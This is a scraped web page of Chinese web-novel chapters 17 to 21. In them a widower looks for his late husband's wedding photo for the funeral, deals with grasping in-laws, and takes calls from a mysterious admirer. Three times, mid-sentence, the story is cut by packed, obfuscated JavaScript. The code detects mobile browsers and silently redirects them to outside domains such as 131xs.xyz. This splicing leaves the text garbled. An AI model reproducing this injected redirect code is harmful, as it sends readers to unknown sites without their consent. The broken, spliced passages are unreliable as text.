祝福禄的反应显然比二哥老练,故作沉思的想了一会儿,为难地说,“哎呀,你们也知道,我家南屿是意外走的。他年纪轻轻,哪有什么遗照?” “理解,这种情况我们不是第一次遇到。”负责本次葬礼的莫茉看出他俩只会添乱,依然抱有最后的期待,“有没有比较清晰的证件照,或者正面的合照……比如你们的全家福就行。” “全家福啊……”祝兴旺害怕侄子侵吞属于自己的财产,一直把他当外贼似的防着,哪有机会和和睦睦的拍全家福? 祝福禄急中生智,把锅甩给伽巧,“我家南屿成家早,典型的有了媳妇忘了娘。他跟巧巧感情那么好,照片肯定有不少!” 莫茉想起伽巧交代过的‘全权委托你们操办’,长长叹了口气,小心翼翼联系雇主。 伽巧没有多说什么,很快赶过来,递过来一张从身份证上裁下来的证件照。 “这张可以吗?”伽巧询问。 “身份证照片太糊了,即使处理过也不清晰。”莫茉为难地说,“而且拍得有点……” 众所周知,身份证照是人生中最丑的照片。 “那就没有了。” 伽巧垂眸盯着裁下来的身份证照片,也觉得非常模糊。 而且这张身份证是祝南屿第一次办理的过期身份证,照片里的他刚刚成年,轮廓尚且青涩。 后来的祝南屿,长什么样子来着? 时间过去太久,即使在梦里,伽巧也很久没看清楚过丈夫的脸。 “我没有保存他的照片。” 共同生活时,一直是祝南屿不厌其烦的给伽巧拍照。 即使合照,也只有一个宗旨:老婆好看就行。 他拍的那些照片有正经的,有不那么正经的。 伽巧被拍了太多羞耻的照片,已经麻了,对拍照这件事抱有‘懒得管那个变态’的无视态度,倒没想过反过来拍祝南屿。 他手边唯一关于祝南屿的照片,还是上次从保险柜里拿出来,背面写着祝南屿留言的那张照片。 里面根本没出现祝南屿的脸,伽巧也不想拿出来给别人看。 “那怎么办?”莫茉有些绝望,“虽然伽巧先生说,全权交给我们处理。但是遗照这个环节,我们真的无能为力。” 祝福禄在旁边偷听,担心葬礼无法如期举行,连忙凑过来说,“侄媳真会说笑,你这么可能没有南屿的照片?” “对啊!”祝兴旺嘴快地说,“你们不是拍过结婚照吗?” “那个……”莫茉快碎了。 这两位叔叔真特么感天动地,让人家把象征幸福结婚照拿出来当遗照。 万一伽巧触景生情,该有多难过…… “哦,还有结婚照。” 伽巧声音平静地仿佛讨论天气。 “就用那个吧。” 18.第 18 章 ‘我真的可以跟你一起进入充满回忆的婚房吗?’ ‘这是不是代表,你愿意把我当成朋友啦?’ ‘我非常感动!!!’ 三行文字结尾,分别画了一只蹦蹦跳跳的小兔子,激动地六只眼睛blingbling冒星星。 “……” 伽巧原本准备解释‘婚房里并没有什么回忆’,邀请鹿珉一起上楼,纯纯为了当苦力搬结婚照。 看见他激动地疯狂画兔子,伽巧默默把嘴边的话收回去,变成一声干巴巴的‘嗯’。 鹿珉内心所有的粉红泡泡,被这声毫无感情的‘嗯’点燃了! 亲爱的主人终于对我敞开心扉,愿意跟我分享生活的甜蜜点滴,四舍五入我们就是最好的挚友! 两个人前后走到入户门外,伽巧习惯性俯身,从底端门缝抽出一根细细的黑色长发。 果然,又来了。 自从发现有人进入过婚房之后,伽巧尝试各种手段。 安装监控、更改智能锁密码、换标记物…… 结果,一无所获。 对方要么是幽灵,要么拥有预知能力,能够准确判断伽巧动向。 不止没有留下任何痕迹。最近两次,伽巧甚至没发现他带走什么。 只有每次必定留在门缝下面的发丝,挑衅似的提醒有人来过。 ——真特么嚣张。 最好别让我抓住。 伽巧冷着脸销毁那根头发,这才输入密码进入房内。 鹿珉抱着线圈本,从进屋开始就写个不停,兴奋地仿佛开启疯兔模式。 回想当初,伽巧雇佣鹿珉当贴身管家,本想着他不会说话至少可以安静一点。 哪能想到,自己选中世界上最吵闹的哑巴。 ‘你的婚房居然是甜甜的奶油风!’ ‘还以为你一定喜欢老派的中式风格!’ ‘我刚开始到别墅工作的时候,总觉得家里藏了个老头子呢!’ 那套别墅地处偏僻,方圆五里寥无人烟,整体风格严肃到近乎沉闷。 无论从哪个角度看,都不是一个刚满二十岁年轻人会喜欢的风格。 鹿珉暗中观察了好久好久,才确信自己只有伽巧一个主人。 既然伽巧给自己选的房子是那种古朴风格,所以真相只有一个! 眼前这套仿佛奶油棉花糖冰淇淋的甜美风婚房,是按照主人伴侣的喜好装饰的! 鹿珉得出结论,内心给素未蒙面的祝南屿贴上第一个标签: 稚、气、小、甜、心。 “我没有特别喜欢的风格。”伽巧敷衍地回应一句,步履轻快地绕过玄关,走进客厅寻找结婚照。 他后来为了调查潜入婚房的人,又回来过两次,但每次都没有刻意观察客厅。 客厅墙壁刷成马卡龙配色,正对沙发那面墙嵌入大电视,底下的电视柜摆着成套的游戏设备。 除此之外干干净净,没有发现挂照片的痕迹。 伽巧明明记得,结婚照大相框带回家以后,就挂在客厅才对。 什么情况? 难道被偷走了? 伽巧盯着记忆中悬挂结婚照的位置,仔细回忆,赫然想起…… 刚开始,结婚照确实安然无恙地挂在客厅。 但没过几天,伽巧自己打游戏连输二十次,看到挂在墙上的祝南屿越想越气,直接心态爆炸。 “笑什么笑!”某个无能狂怒的菜鸡玩家,愤怒地朝‘祝南屿’掷出游戏手柄。 ‘哐——’ ‘啪——’ 等祝南屿完晚上回到家,先看见蒙着被子把自己缩成一团,自尊心受到重创的娇娇老婆。 然后低头,瞧瞧支离破碎的游戏手柄。又抬头,瞅瞅照片里不成人形的自己。 “……”祝南屿幽幽叹了口气,走到沙发旁边把气呼呼的伽巧揽进怀里,隔着被子揉揉毛茸茸的短发,“怪我把结婚照挂在客厅,影响娇娇发挥了,下次挂在卧室吧。” ——想起来了,结婚照在卧室。 后来祝南屿重新选了一张照片,特意选了能防爆防裂的钢化玻璃,相框也经过特别加固。 相框:这把高端局。 鹿珉蹦蹦跳跳跟进客厅,眼睛滴溜溜四处打量,见电视柜上还摆着游戏手柄,按键上的字母已经被磨花了。 茶几下层随意摆着游戏机,充电线凌乱地散在旁边,看样子经常使用。 跟在伽巧身边那么久,鹿珉非常肯定:主人从来不打游戏的! 显而易见,这些使用过度的游戏设备,肯定是婚房里另一个主人的东西! 鹿珉点点头,默默贴上第二个标签:技术很差的游戏宅。 再次抬头,鹿珉发现伽巧走向卧室,连忙蹦蹦跳跳跟过去。 伽巧打开卧室门,目光扫了一圈,愣住了。 奇怪,怎么卧室里也没有? 好歹是自己住了一年多的房子,伽巧却觉得无比陌生。 鹿珉凑到伽巧身边,探头好奇地看向主人和伴侣的‘爱巢’,果然也是马卡龙配色的奶油风。 圆圆的大床铺着淡粉色丝绸床单,并列的两个枕头还带着精致的蕾丝花边。 主人那位伴侣,品味真是……可爱。 床边两个高度趁手的床头柜,一个摆着几本看起来又厚又深奥的书,中间还夹着书签。 另一侧摆满了零食,薯片、巧克力、焦糖布丁……垃圾桶里还有拆开的包装。 鹿珉确信,伽巧先生从来不碰任何零食,尤其是这些高甜高热量,吃起来有负罪感的‘垃圾食品’。 自家主人勤勉刻苦又自律,所以结论显而易见: 摆着书的那一侧是伽巧的领地,旁边‘垃圾食品’属于玩游戏丧志的主人伴侣! 经过一番缜密(?)的调查,鹿珉把所有信息整合,在脑内拼凑‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459142|184801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祝南屿’的形象。 一个甜甜的、可爱的、乖乖呆在家里的……香香软软小蛋糕! “……”鹿珉震惊地抬起头,直勾勾看向伽巧,瞳孔地震。 等等,主人居然喜欢娇软可爱的类型吗? 难道他当初选择元气、话唠、超级可爱的小鹿珉当管家,是因为菀菀类卿吗? 鹿珉已经沉浸在‘你走后,我连管家都按照你的模样挑’的艺术中,依稀想起周医生每次来别墅,都称伽巧是‘祝南屿的妻子’。 当时,鹿珉以为那个祝南屿,应该是成熟稳重、气场强大、可靠又帅气的男人。 难道全世界都搞错了,自己主人才是……上、上面那个? 鹿珉:[怀疑人生.jpg] “你那什么表情?”伽巧感受到鹿珉混合着震惊、恍惚、凌乱的复杂视线,随口问了句。 被刷新三观的鹿珉连忙摇头,决定替主人隐藏这个惊世骇俗的大秘密。 伽巧没兴趣深究鹿珉的内心,快步走进卧室,摸了摸床对面的墙壁,低声喃喃,“我记得,应该挂在这里的。” ‘什么?’ 鹿珉举起线圈本,想要探究更多秘密。 “结婚照。”伽巧曲起手指敲了敲墙壁,“我记得很清楚,他把新的结婚照带回家,就挂在这个位置。有段时间一睁眼就能看到……” 话说到一半,伽巧突然卡住。 对,睁眼就能看到。 祝南屿那个变态,精挑细选找了个‘好位置’。 这原本没什么,反正伽巧不在卧室打游戏。 可祝南屿那个性癖糟糕的变态,不知道觉醒了什么恶趣味! 某个迷迷糊糊的深夜,伽巧浑身发软地被他从背后抱住,托着腿根慢慢起身,突如其来的失重感让伽巧下意识搂住他的脖子。 祝南屿就那么抱着他,一步步走到几乎等身的结婚照前。 “娇娇,睁眼。”祝南屿贴着他耳朵,呼吸灼热,染着情欲的嗓音低哑又性感,“像不像……有人在看我们?” 伽巧睁开雾蒙蒙的眼眸,目光飞快扫了一眼,像被烫到似的缩回来,脸埋进祝南屿肩窝,牙齿轻轻咬住了一口,“闭嘴!不要说了!” “娇娇,你看过国外那种19禁情侣直播吗?”祝南屿细密地啄吻,语调带着恶劣的逗弄,“如果有人打赏礼物,就可以指定玩法。” 他抱着伽巧的手臂缓慢收紧,附在他耳边说出极其下流的话,“如果我们开直播,肯定会有观众一掷千金,就为了看我……弄哭你。” “祝南屿!!!”伽巧又羞又气,连名带姓辱骂,“你脑子里到底装了多少黄色废料?给我全部清理掉!” “嘘——”祝南屿低头吻住他微微颤抖地唇,眼里翻涌着滚烫的占有欲,趁着接吻间隙愉快地提醒,“宝贝,你好像……兴奋了。” 然后…… 那张结婚照,没有活过第二天。 19.第 19 章 伽巧带着小尾巴鹿珉,把这间婚房里里外外、角角落落翻了个遍。 除了回想起一些关于祝南屿糟糕性癖的没用回忆之外,毫无收获。 临近傍晚,室内光线逐渐变暗,夕阳慢慢收起洒进落地窗内的余晖。 伽巧环顾被自己翻得一团乱的房子,叫住在‘废墟’中吭哧吭哧找照片的鹿珉。 “回去吧。” 伽巧:[放弃挣扎.jpg] 鹿珉正撅着屁股,钻进杂物间底层的储物格努力翻找。 听见主人打退堂鼓,他拔出毛茸茸脑袋,翻开刚找到的绘画本写: ‘但是我还没有帮你找到结婚照QAQ……’ “无所谓了。”伽巧垂下眼睫,在脸上投了一片淡淡的阴影。 鹿珉泪眼汪汪,心疼得快要碎掉了! 自家主人那么怕麻烦,突然带自己回到婚房大费周章找结婚照,肯定因为思念那位喜欢甜食、香香软软的小娇夫。 结果什么都没找到,主人该有多失望? 重点是——鹿珉也想看小娇夫的照片啊!!! 然而,伽巧此刻在想的是: 既然找不到照片,干脆画个火柴人,脑袋上写‘祝南屿’三个字好了。 区区葬礼,走个形式罢了。 两个人各怀心思走进电梯,按下1层。 电梯平稳运行,短短五秒,在下一层停住。 ‘叮咚——’ 电梯门左右滑开,走进来一个戴着帽子和口罩,只露出一双眼睛的可疑分子。 伽巧正沉浸在‘火柴人遗照’的伟大艺术中,觉察到有人进来,往旁边避了避挪出位置。 这个小区位于寸土寸金的地段,交通便利安保措施完备。 除了受到富人青睐之外,也有许多明星选择入住,在电梯里看到把自己捂得严严实实的人并不奇怪。 反倒是那个疑似明星的帽子人,刚进电梯就死死盯着伽巧,视线几乎化为实体黏在他身上。 目光灼灼,带着某种可疑的兴奋。 鹿珉觉察到,张开手臂挡在伽巧面前,努力踮起脚尖隔绝对方视线,睁大眼睛用最凶的目光瞪过去。 [超凶.jpg] 帽子人换了好几个角度,结果都被鹿珉挡得严严实实。 眼看着1楼快要到了,他急忙从包包里翻出签字笔,又翻了半天没找到合适的纸,干脆把帽子摘下来指着帽檐,声音因为激动而颤抖,“伽巧老师,我……我关注你很久了,可以给我签个名吗!就签这儿!” “老师?我吗?”伽巧愣住,语气充满疑惑。 我连大学都没上过能教什么? 画火柴人遗照吗? “你认识我?” “嗯嗯!”他猛猛点头,口罩挡不住脸上的兴奋,“伽巧老师现在是真顶流啊!我用小号偷偷关注你的超话,每天都能发现新情敌加入~大家都特别特别喜欢你……” 停顿三秒,他用最小的声音补充,“还有你老公。” 伽巧:…… 听不懂一点儿。 但签名还是会的。 他接过有些分量的镀金签字笔,在帽子内侧写下自己名字。 售价昂贵的帽子立刻洇开墨水,对方却显得尤其高兴,捧着帽子又是鞠躬又是道谢。 电梯已经停了,还呆在里面拿出手机哐哐自拍。 “啊啊啊啊!我拿到伽巧老婆的签名了!这不得让他们嫉妒死!” 全程懵逼的鹿珉,亦步亦趋跟随伽巧坐进车里,才如梦初醒,举起线圈本质问: ‘主人!你什么时候背着我偷偷出道了!!!’ ‘为什么瞒着我!明明我才是你的头号死忠粉!!!’ ‘呜呜呜呜……’ 鹿珉一口气写了几十个‘呜’,兔子眼泪差点流成世界第八大洋。 “没有。”伽巧按住他的线圈本,语气无辜,“我也不清楚什么情况。” 他平日里久居山林,偶尔出门也是去公司处理工作,哪有什么‘出道’的机会? 因为自家主人不怎么用手机,身为专业管家,鹿珉也只有必要的时候使用手机。平常根本不会拿来娱乐消遣,自然不知道网上出现什么舆论。 见伽巧确实不像知情的样子,鹿珉拿出手机打开搜索框,快速输入伽巧的名字。 页面刷新。 密密麻麻的热搜词条,还有超话、后援会、粉丝群…… 瞧瞧这阵势,伽巧距离顶流只差一个出道官宣。 热门内容里有几个视频,每个播放量都是百万起步,而且…… 都是CP向视频。 《【S+】这才叫顶级BE,甜过初恋,痛过凌迟》 《【S+】一往情深,奈何缘浅》 《【S+】我多想再见你哪怕一面(伽巧视角)》 …… 伽巧凑过来瞥了一眼,发现每个视频都带着‘S+’的前缀,不禁疑惑。 “S+是什么意思?” 鹿珉迷茫地摇摇头,点开带有伽巧名字的视频寻找答案,指着简介让他看。 ‘S(south)’=南=祝南屿 ‘+(jia)’=伽=伽巧 S+是祝南屿×伽巧的CP名,听起来非常权威,宛如某个不容动摇的理科符号。 鹿珉的手机设有自动播放,刚点开,视频自动加载。 网络上关于伽巧的视频就那么几段,祝南屿消失多年又注重隐私,素材更是少得可怜。 偏偏那群擅长抠糖的剪刀手,就能用少得可怜的素材,通过鬼斧神工的技术,剪得凄美动人。 视频的背景音乐是一首老歌,吟唱第一句时,19岁的伽巧被祝南屿牵着手进入宴会厅,仿佛误入人间的精灵。 趁着祝南屿跟别人寒暄,他悄悄挣开,溜到自助台偷吃小熊形状的黄油饼干。 那时的表情,单纯且不谙世事。 鹿珉却一脸疑惑:等等,原来主人喜欢吃黄油饼干吗?! 画面一转,同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16465436|184801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样纸醉金迷的名利场。 伽巧只身一人,摇摇欲坠地从雨幕中出现,孤零零坐到宴会厅角落。 剪辑鬼才采用春秋笔法,将几段素材拼接。 伽巧目光随意的扫过全场,被渲染成在人群里寻寻觅觅。 下一秒,画面定格在自助台,成堆的黄油饼干无人取用。 繁华落幕,伽巧只身消失在冷雨中,背影凄冷而破碎…… 【痛!太痛了!一生一死果然是最刀的结局呜呜呜】 【S+最意难平的是时间差。伽巧那时太年轻了,像个需要被宠的孩子。祝南屿是优秀的引导型爱人,有足够的耐心等他长大……本来他们的爱情可以慢慢对等】 【楼上姐妹会嗑,书无店砸!】 【伽伽真的是无意识沦陷,老公消失后他越爱越深】 【业内传闻伽伽出事后第二天就搬出婚房,一件祝南屿的东西都没带走,看似绝情。但我听说,伽巧先生至今单身,没给过任何人机会】 【有没有发现,上次签约仪式伽巧身上依稀有祝南屿的影子。‘你走后我把你烙入灵魂,从此永不分离’】 【虽然大家都说S+是顶级BE,可我真的想嗑祝南屿还活着的if线】 …… 祝南屿还活着的if线? 怎么可能存在。 伽巧有些微晃神,冷不防听到一串来电铃声,将他唤回现实。 如他所料,又是Zoa。 “我在车上,工作报告等我到家再看。”伽巧接通电话,切换成商务专业的语气,专业且高效。 Zoa没有继续工作的话题,沉声问,“心情不好。” “……怎么听出来的?” 伽巧自认为没有泄露任何情绪,就连坐在旁边的鹿珉都没发现端倪。 为何Zoa隔着屏幕、仅凭一句话,就能窥见自己的真实情绪? “发生了什么事?”Zoa慢条斯理询问。 “无可奉告。”伽巧顿了顿,补充道,“与工作无关。” “哦,那就是私事。” Zoa若有似无叹了口气,听起来有些可怜,“也对,伽董怎么会跟我这种人聊私事?那太危险了。毕竟我是个无可救药爱慕你的偏执狂,稍微越过一点点界限,我就会自作多情当成你给我的暗示。” “我呆在自己家,能给你什么暗示?”伽巧不想每次被他拿捏,硬邦邦呛了一句。 “你呆在‘自己家’,难道不是邀请我尽情幻想吗?”Zoa声音低低,语速飞快,每个字都足以构成性骚扰,“这个时间回到家,应该会洗澡吧。伽董喜欢淋浴还是泡澡呢?我更想看你泡澡……身体不着寸缕浸入温水,热气会让你白皙的皮肤微微泛红,湿漉漉的长发……” “够了!”伽巧实在听不下去,冷漠地说,“感谢你的自爆,我现在满脑子只想揍你,轻松多了。” “我的荣幸。”Zoa立刻收敛猥琐的语言骚扰,变回专业又可靠的合作伙伴,又把话题绕回最初,“为什么心情不好?” 20.第 20 章 “没什么,只是丢了件东西而已。” 此刻造成伽巧‘心情不好’的原因太多,他刻意避重就轻,挑了最不痛不痒的一件。 “想不起来放哪了?” Zoa 精确的道破原因。 “……嗯。”伽巧唇间溢出微不可闻的气音。 又被看透了。 ‘嗒嗒嗒——’ Zoa指尖有规律敲击桌面,仿佛通过这种节奏模拟伽巧的心理路线,“如果终点消失,不妨试试从起点重新出发。” “就这样吗?” 亏伽巧刚才对Zoa抱有极高的期待,以为他能够通过安装在自己身边的‘隐形监控’,或者某种特异功能,隔空找到那张结婚照。 至少现在可以确认,Zoa只是一个普通痴汉,没有想象中那么无所不能。 伽巧竟然有些失望,糊弄两句准备挂断电话。 指尖即将触碰到屏幕,突然想起什么,随口问道,“我送的慰问礼物,Lanner转交给你了吗?” 电话那边,Zoa明显顿了几秒。 祝南屿撩起眼皮,视线缓缓飘向窗台——采光最好的位置,放着一个造型朴素的陶土花盆。 巴掌大小的花盆里,几片翠绿的椭圆形叶片,包裹着含苞的淡蓝花蕾,大概这几天就会绽放。 “嗯,它长得很好。”Zoa伸出手,指尖隔着虚空描摹花苞的形状,嗓音低的近乎柔软,“伽董,这是什么花?” “不知道。”伽巧回答的干脆利落,“我听说慰问病人应该送花,正好家里的长辈分给我几株花苗……好像是随处可见的野花吧。” “也对。”祝南屿低声喃喃。 如果伽巧知道自己种的是什么花,不可能如此平和的送给自己。 电话挂断,祝南屿依旧凝视花盆里那株幼苗,想起Lanner把它拿过来时满脸疑惑的表情。 “哦,天呐~小伽巧竟然独自在家种勿忘我,我想想都觉得心疼。”Lanner夸张地捧着胸口,叹了口气,“就算你暂时没办法回家,至少把还活着的消息告诉他吧?” “然后继续让他等?还是看到我这副半死不活的样子?”祝南屿阖起眼,难掩疲惫。 曾经他以最糟糕的方式消失,现在不能以最糟糕的方式回归。 那样对伽巧太残忍了。 Lanner金色的睫毛颤动两下,“你知道它的花语吗?” “知道。” 勿忘我。 永恒的回忆。 . “祝南屿先生的灵堂基本布置完毕,灯光和BGM已经调试到最佳,花篮花圈都按照最高规格选购,只剩下照片……” 莫茉拿着流程单向家属汇报工作,目光小心翼翼瞥向伽巧。 伽巧独自坐在角落,显得与其他几位‘家属’格格不入,轻描淡写开口,“没有照片,可以用牌位代替吗?” “哈?伽巧你没毛病吧?结婚那么久,连张像样的照片都找不到,听听你说的什么话!”祝柯大大咧咧坐在祝福禄和祝兴旺中间,大咧咧翘着二郎腿,手里搂着不知是恋人还是情人的年轻男性。 “就是说嘛~”身高大约比伽巧矮半个头的小绿茶侧着身,像没骨头似的半个身子偎在祝柯怀里,嗲兮兮帮腔道,“我跟柯柯才认识两个月,情侣合照已经多到相册都存不下了~老公~好哥哥~买新手机给baby好不好?” “上周才给你买了平板,现在又要新手机?”祝柯伸手探进小绿茶衣服里,‘宠溺’又‘大度’地说,“那得看你今晚的‘表现’,把我伺候舒服了,什么都好说。” 伽巧默默挪开眼神,感觉一阵反胃。 也不知道看见什么脏东西,如此恶心。 祝福禄斜了眼侄子,顺势说,“柯柯说得有道理,葬礼只有牌位确实不合适,让别人看我们祝家的笑话!” “哼!演都不演了!”祝兴旺臭着脸,“南屿倒了八辈子霉,才摊上这么个媳妇。” “我老早就觉得怀疑了,你对祝南屿真的有感情吗?”祝柯上上下下打量伽巧,目光轻蔑,“老公刚死第二天,你就像没事人似的搬离婚房,接管公司,怕不是早就计划好的,就盼着祝南屿早点死呢?” 怀中的小绿茶捂住嘴,做作地惊呼,“天呐,世界上怎么会有这么恶毒的人?” “呵呵,你太不了解我这个‘弟媳’,他当初就是看中祝南屿的钱才缠上他。虽然祝南屿死了,但是有钱人还有这么多,小寡夫不知道给自己找了多少个下家?” 伽巧面上平静似水,撑着桌沿的手却微微用力,斜了眼高谈阔论的祝柯,“你知道?” “当然!你做的那点破事,我朋友全部都告诉我了。”祝柯丝毫不顾体面,脸上满满的恶意,“上个月慈善晚宴,你勾引那个姓汪的去阳台,做了什么自己清楚!还有跟你签约那个Lanner,如果没有私情他怎么可能把项目给你?哦对了,傅清延出事前,亲自去千合总部让你跟他结婚,有这回事吧?脚踩那么多条船,你……嘶……啊!!!” 祝柯话还没说完,声音突然变了调,发出一阵杀猪似的叫喊。 伽巧身影晃了下,不知何时捏住他的手腕,指尖随意地收紧,祝柯叫声顿时更加凄惨。 “我的手腕……啊……你放开我!!!”祝柯试图挣扎,可伽巧看似完全没用力,却怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16471033|184801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也无法挣脱。 刚才靠在他怀里的小绿茶,听祝柯喊得撕心裂肺,吓得连滚带爬溜到一边,丝毫没有刚才娇滴滴叫‘好哥哥’的情深义重。 伽巧居高临下,淡漠地俯视他,“哪个朋友告诉你的?” “我凭什么告诉……啊啊啊!!!” 祝柯还想嘴硬,伽巧又加了一分力气,耳边依稀听到骨头断裂的声音。 “我说、我说!是王家老二还有……”祝柯疼得眼泪直飚,老老实实供出给自己当眼线的‘好兄弟’。 祝兴旺只看到伽巧起身走到祝柯面前,柔弱无骨的纤细手指,轻轻捏起祝柯的手。 他没当回事,脑子里盘算着:虽然儿子整天游手好闲,但为了赶时髦发朋友圈,保持着定期健身的习惯。还经常带着小情人爬山游泳,身体素质绝对属于中等以上。 如果他跟伽巧打起来,肯定单方面碾压—— 听到祝柯一声高过一声的哀嚎,祝兴旺才发现这场‘单方面碾压’跟想象中不太一样,连忙冲过去制止伽巧。 “王八蛋!你敢动我儿子?” 赶在祝兴旺冲过去前,伽巧已经放开祝柯的手,仿佛丢掉用过的厕纸,拿起桌上的餐巾嫌恶地擦干净手指。 祝柯那只手无力地下垂,手腕呈现不正常的扭曲形状,看向伽巧的眼神仿佛见到鬼。 太恐怖了! 就连自己的健身教练,也不可能有徒手折断别人手腕的力气! 祝福禄见他们父子偏偏挑这个节骨眼跟伽巧撕破脸,害怕闹得太僵影响葬礼,连忙跳出来打圆场。 “哎呀,巧巧你别生气,柯柯就是关心南屿。”祝福禄语重心长地说,“毕竟他们是亲兄弟,当然想让南屿体面的走完最后一程。他生前多么意气风发,死后却连个像样的遗照都没有……” “那个……”莫茉心惊肉跳地围观现实版豪门斗争,鼓起勇气发出声音,“没有遗照的葬礼,确实……不太庄重。” 伽巧当然知道没有遗照的葬礼不像话,早知如此…… 突然,Zoa的声音再次回响。 ‘如果终点消失,不妨试试从起点重新出发。’ 起点…… “照片的事,我会想办法。”说完,伽巧径直离开。 目送他身影消失,祝柯眼底闪过几分怨毒。 “爸,三叔,现在怎么办?” 祝福禄叹了口气,“小寡夫没有想象中好对付,一旦他接管遗产,就彻底跟祝家没关系了。我们辛辛苦苦,啥也捞不到。” “那还犹豫什么?该行动了。”祝兴旺递给他们一个阴冷的眼神,手抬到脖子下方,利落地抹了一下。 21.第 21 章 ‘如果终点消失,不妨试试从起点重新出发。’ 伽巧原本以为只是一句没用的废话,像那种随处可见的人生‘哲理’。 代入具体事件后认真思考,才突然反应过来:如果自己找不到照片,可以追根溯源,寻找拍照的人! 回想当初结婚的时候,由于伽巧咸鱼十分懒散,不愿意为了拍个照特意做妆造、穿紧绷板正的正装。 因此,他和祝南屿的结婚照,是跟婚礼一起拍的。 婚礼大到选址小到捧花,所有流程都由祝南屿负责,伽巧并不清楚为自己拍照的摄影师是哪位。 幸好祝南屿为了策划一场完美婚礼,选择业内最有名气的婚姻公司,稍微一查就找到当时婚礼团队的联系方式。 婚礼团队很少碰到完全没有预算上限的客户,为了一枚婚戒买断整个钻石矿源更是前所未有,因此对伽巧印象很深。 “伽巧先生,你要找当时那位摄影师吗?”婚礼团队的员工认真想了想,告诉伽巧,“那位大师是圈内颇名气的人物摄影师,经常跟一线杂志和国际超模合作,轻易不接私人工作。说实话,当时听说他接了婚礼跟拍的工作,我们也吓了一大跳呢。” 听完他的话,伽巧倒不觉得出乎意料。 因为祝南屿总是这样,事事都要最好的。 “现在能联系上那位摄影师吗?” “当然可以!不过最近正在举办国际时装周,他要负责现场拍摄,一时半会没办法赶回来。” “行,请把联系方式给我,谢谢。” 伽巧拿到联络方式,拨通那位摄影师的电话。 刚报上名字,摄影师笑笑说,“伽巧,是你啊。” “你还记得我?” “记得,太记得了!你是我拍过最美的男人。”摄影师停顿几秒,飞快吐槽,“还有,你老公提的要求实在太多了!必须100%还原你的美貌,还不准对你下达命令,说什么‘他辛苦’、‘他没耐性’。拍结婚照那么大的事,只给我协调半个小时,这是人干的活吗?我从业多年,没见过那么难搞的雇主,要不是他给的太多了,我肯定拒绝这份工作!” “抱歉。” 仔细想想,祝南屿提出那么过分的要求,很大一部分因为伽巧当时太懒散任性。 “呃,道、道什么歉?其实我还要感谢他,让我拍到很好的素材。”摄影师有点儿难为情,“其实,你们结婚的现场照片,一直摆在我的工作室当宣传。” 伽巧顺势提出要求,“那张照片,方便借给我吗?” “可以倒是可以……但我人在国外,要等半个月后才能回国。” 半个月后。 预定的葬礼日期已经过了。 伽巧垂下眼帘,投下一片阴翳。 “如果你现在就要的话,我把工作室的地址发给你。到了之后联络管理员,我让他帮你开门。” “方便吗?” “有什么不方便的?”摄影师爽朗地笑笑,“你们刚结婚那阵子,祝南屿经常三更半夜骚扰我,让我重新洗结婚照。拜他所赐,当时的素材我可是一、点、儿、也、没、删!” 再后来,祝南屿遭遇意外,摄影师与他们夫夫断了联系。 每当看到摆在工作室的照片,他由衷感觉到庆幸,为他们在稍纵即逝的短暂相处中,定格了一瞬的时光。 无论流言再怎么沸沸扬扬,照片不会骗人。 镜头中的那两个人,一定是,相爱的。 “虽然不知道你要结婚照做什么,但如果它能发挥一些作用,也算祝南屿没白给我那么多钱。”摄影师不等伽巧接话,语速再次加快,“地址发给你了,我该工作啦,下次聊!” 伽巧收到地址,立刻确认日程,抽出时间带着鹿珉去摄影师工作室。 他原本没打算带鹿珉,但某个自认为尽职尽责的管家,上次没有帮伽巧找到结婚照,浑身散发‘生而为人我很抱歉’的emo,连续几天如鲠在喉、自怨自艾、唉声叹气。 最严重的是,他现在用线圈本纯写字,都不画兔子了。 为了解开鹿珉的‘心结’,伽巧勉为其难带上话痨管家。 鹿珉跟随伽巧整整四年,平常主要呆在家里。 难得有机会跟主人出远门,他兴奋地像个即将春游的小学生。 不知道从哪翻出一个双肩书包,里面塞进大、中、小三个尺寸的全新线圈本,还装了几根五颜六色的笔。 “……”看架势,伽巧都能够想象到,路上这个哑巴能有多话痨。 果然,刚上车鹿珉就开始问个不听,从目的地问到摄影师,再问到婚礼细节。 ‘好羡慕摄影师,有机会参加你的婚礼,我也好想参加QAQ……’ 伽巧望向车窗外,敷衍地回答,“你当时还不知道在哪。” “……”鹿珉写写涂涂的手停顿几秒,翻过一页画了两笔,重新举起来:如果我早点遇到主人,给你当管家就好啦! 伽巧瞥了鹿珉一眼,没好意思告诉他。 如果再早一些,自己根本不需要管家。 ——我有祝南屿。 摄影师的工作室就在A市,但伽巧住得太偏僻,赶过去需要好几个小时。 